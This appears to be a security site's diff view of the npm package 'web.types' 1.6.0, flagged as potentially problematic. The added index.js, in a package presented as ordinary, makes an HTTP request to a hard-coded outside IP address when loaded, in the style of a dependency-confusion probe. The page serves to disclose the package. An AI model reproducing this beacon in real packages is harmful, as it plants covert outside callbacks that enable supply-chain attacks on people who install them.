web.types 1.6.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of web.types might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +21 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const http = require('http')
2
+ const options = {
3
+ hostname: '207.154.222.173',
4
+ port: 80,
5
+ path: '/dependencywebtypes',
6
+ method: 'GET'
7
+ }
8
+
9
+ const req = http.request(options, res => {
10
+ console.log(`statusCode: ${res.statusCode}`)
11
+
12
+ res.on('data', d => {
13
+ process.stdout.write(d)
14
+ })
15
+ })
16
+
17
+ req.on('error', error => {
18
+ console.error(error)
19
+ })
20
+
21
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "web.types",
3
+ "version": "1.6.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "marius constantin",
11
+ "license": "ISC"
12
+ }